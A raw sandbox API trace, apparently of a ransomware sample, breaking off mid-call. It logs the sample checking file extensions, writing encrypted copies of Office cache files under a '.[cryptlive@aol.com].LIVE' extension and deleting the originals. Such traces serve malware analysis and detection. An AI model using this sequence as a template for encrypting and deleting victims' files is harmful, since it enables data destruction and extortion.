[0038.942] lstrlenW (lpString=".dbf") returned 4 [0038.942] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.942] lstrlenW (lpString=".1cd") returned 4 [0038.942] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.942] lstrlenW (lpString=".jpg") returned 4 [0038.942] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.942] lstrlenW (lpString=".doc") returned 4 [0038.942] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.942] lstrlenW (lpString=".docx") returned 5 [0038.942] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.942] lstrlenW (lpString=".pdf") returned 4 [0038.943] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.943] lstrlenW (lpString=".xls") returned 4 [0038.943] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.943] lstrlenW (lpString=".xlsx") returned 5 [0038.943] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.943] lstrlenW (lpString=".ppt") returned 4 [0038.943] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.943] lstrlenW (lpString=".zip") returned 4 [0038.943] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.943] lstrlenW (lpString=".rar") returned 4 [0038.943] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.943] lstrlenW (lpString=".bz2") returned 4 [0038.943] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.943] lstrlenW (lpString=".7z") returned 3 [0038.943] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.943] lstrlenW (lpString=".dbf") returned 4 [0038.943] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.943] lstrlenW (lpString=".1cd") returned 4 [0038.943] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.943] lstrlenW (lpString=".jpg") returned 4 [0038.943] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.943] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0038.943] lstrlenW (lpString="Setup.xml") returned 9 [0038.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0038.944] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=9352) returned 1 [0038.944] CloseHandle (hObject=0x1a4) returned 1 [0038.944] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0038.944] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0038.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0038.944] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.944] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0038.945] GetLastError () returned 0x0 [0038.945] ReadFile (in: hFile=0x1a4, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x2488, lpOverlapped=0x0) returned 1 [0038.954] WriteFile (in: hFile=0x1a8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0038.955] ReadFile (in: hFile=0x1a4, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.955] WriteFile (in: hFile=0x1a8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.955] SetEndOfFile (hFile=0x1a8) returned 1 [0038.955] CloseHandle (hObject=0x1a8) returned 1 [0038.956] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.956] SetEndOfFile (hFile=0x1a4) returned 1 [0038.957] CloseHandle (hObject=0x1a4) returned 1 [0038.957] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0038.958] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0038.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.958] lstrlenW (lpString=".doc") returned 4 [0038.958] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.958] lstrlenW (lpString=".docx") returned 5 [0038.958] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.958] lstrlenW (lpString=".pdf") returned 4 [0038.958] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.958] lstrlenW (lpString=".xls") returned 4 [0038.958] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.958] lstrlenW (lpString=".xlsx") returned 5 [0038.958] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.958] lstrlenW (lpString=".ppt") returned 4 [0038.959] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.959] lstrlenW (lpString=".zip") returned 4 [0038.959] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.959] lstrlenW (lpString=".rar") returned 4 [0038.959] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.959] lstrlenW (lpString=".bz2") returned 4 [0038.959] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.959] lstrlenW (lpString=".7z") returned 3 [0038.959] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.959] lstrlenW (lpString=".dbf") returned 4 [0038.959] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.959] lstrlenW (lpString=".1cd") returned 4 [0038.959] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.959] lstrlenW (lpString=".jpg") returned 4 [0038.959] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.959] lstrlenW (lpString=".doc") returned 4 [0038.959] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.959] lstrlenW (lpString=".docx") returned 5 [0038.959] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.959] lstrlenW (lpString=".pdf") returned 4 [0038.959] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.960] lstrlenW (lpString=".xls") returned 4 [0038.960] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.960] lstrlenW (lpString=".xlsx") returned 5 [0038.960] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.960] lstrlenW (lpString=".ppt") returned 4 [0038.960] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.960] lstrlenW (lpString=".zip") returned 4 [0038.960] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.960] lstrlenW (lpString=".rar") returned 4 [0038.960] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.960] lstrlenW (lpString=".bz2") returned 4 [0038.960] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.960] lstrlenW (lpString=".7z") returned 3 [0038.960] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.960] lstrlenW (lpString=".dbf") returned 4 [0038.960] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.960] lstrlenW (lpString=".1cd") returned 4 [0038.960] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.960] lstrlenW (lpString=".jpg") returned 4 [0038.960] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.961] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0038.961] lstrlenW (lpString="branding.xml") returned 12 [0038.961] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0038.961] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=596341) returned 1 [0038.961] CloseHandle (hObject=0x1a4) returned 1 [0038.961] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0038.962] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0038.962] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0038.962] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.962] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.962] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0038.962] GetLastError () returned 0x0 [0038.962] ReadFile (in: hFile=0x1a4, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x91975, lpOverlapped=0x0) returned 1 [0038.981] WriteFile (in: hFile=0x1a8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0038.998] ReadFile (in: hFile=0x1a4, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.998] WriteFile (in: hFile=0x1a8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0038.998] SetEndOfFile (hFile=0x1a8) returned 1 [0038.998] CloseHandle (hObject=0x1a8) returned 1 [0039.192] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.192] SetEndOfFile (hFile=0x1a4) returned 1 [0039.279] CloseHandle (hObject=0x1a4) returned 1 [0039.279] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0039.364] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0039.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0039.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0039.365] lstrlenW (lpString=".doc") returned 4 [0039.365] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.365] lstrlenW (lpString=".docx") returned 5 [0039.365] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0039.365] lstrlenW (lpString=".pdf") returned 4 [0039.365] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.365] lstrlenW (lpString=".xls") returned 4 [0039.365] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.365] lstrlenW (lpString=".xlsx") returned 5 [0039.365] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0039.365] lstrlenW (lpString=".ppt") returned 4 [0039.365] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0039.365] lstrlenW (lpString=".zip") returned 4 [0039.365] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.365] lstrlenW (lpString=".rar") returned 4 [0039.365] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.365] lstrlenW (lpString=".bz2") returned 4 [0039.365] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.365] lstrlenW (lpString=".7z") returned 3 [0039.365] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0039.365] lstrlenW (lpString=".dbf") returned 4 [0039.365] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0039.366] lstrlenW (lpString=".1cd") returned 4 [0039.366] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0039.366] lstrlenW (lpString=".jpg") returned 4 [0039.366] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0039.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0039.366] lstrlenW (lpString=".doc") returned 4 [0039.366] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.366] lstrlenW (lpString=".docx") returned 5 [0039.366] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0039.366] lstrlenW (lpString=".pdf") returned 4 [0039.366] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.366] lstrlenW (lpString=".xls") returned 4 [0039.366] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.366] lstrlenW (lpString=".xlsx") returned 5 [0039.366] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0039.366] lstrlenW (lpString=".ppt") returned 4 [0039.366] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0039.366] lstrlenW (lpString=".zip") returned 4 [0039.366] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.366] lstrlenW (lpString=".rar") returned 4 [0039.366] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.366] lstrlenW (lpString=".bz2") returned 4 [0039.366] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.366] lstrlenW (lpString=".7z") returned 3 [0039.367] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0039.367] lstrlenW (lpString=".dbf") returned 4 [0039.367] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0039.367] lstrlenW (lpString=".1cd") returned 4 [0039.367] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0039.367] lstrlenW (lpString=".jpg") returned 4 [0039.367] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.367] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0039.367] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0039.367] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0039.646] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=16852) returned 1 [0039.646] CloseHandle (hObject=0x1bc) returned 1 [0039.646] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0039.646] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0039.646] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0039.646] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.646] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.646] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0039.647] GetLastError () returned 0x0 [0039.647] ReadFile (in: hFile=0x1bc, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0040.340] WriteFile (in: hFile=0x1c0, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0040.341] ReadFile (in: hFile=0x1bc, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.341] WriteFile (in: hFile=0x1c0, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0040.341] SetEndOfFile (hFile=0x1c0) returned 1 [0040.341] CloseHandle (hObject=0x1c0) returned 1 [0040.342] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.342] SetEndOfFile (hFile=0x1bc) returned 1 [0040.343] CloseHandle (hObject=0x1bc) returned 1 [0040.343] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0040.344] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0040.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0040.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0040.344] lstrlenW (lpString=".doc") returned 4 [0040.344] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.344] lstrlenW (lpString=".docx") returned 5 [0040.344] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0040.344] lstrlenW (lpString=".pdf") returned 4 [0040.344] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.344] lstrlenW (lpString=".xls") returned 4 [0040.344] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.344] lstrlenW (lpString=".xlsx") returned 5 [0040.344] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0040.344] lstrlenW (lpString=".ppt") returned 4 [0040.344] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.344] lstrlenW (lpString="C:\\MSOCache\\All 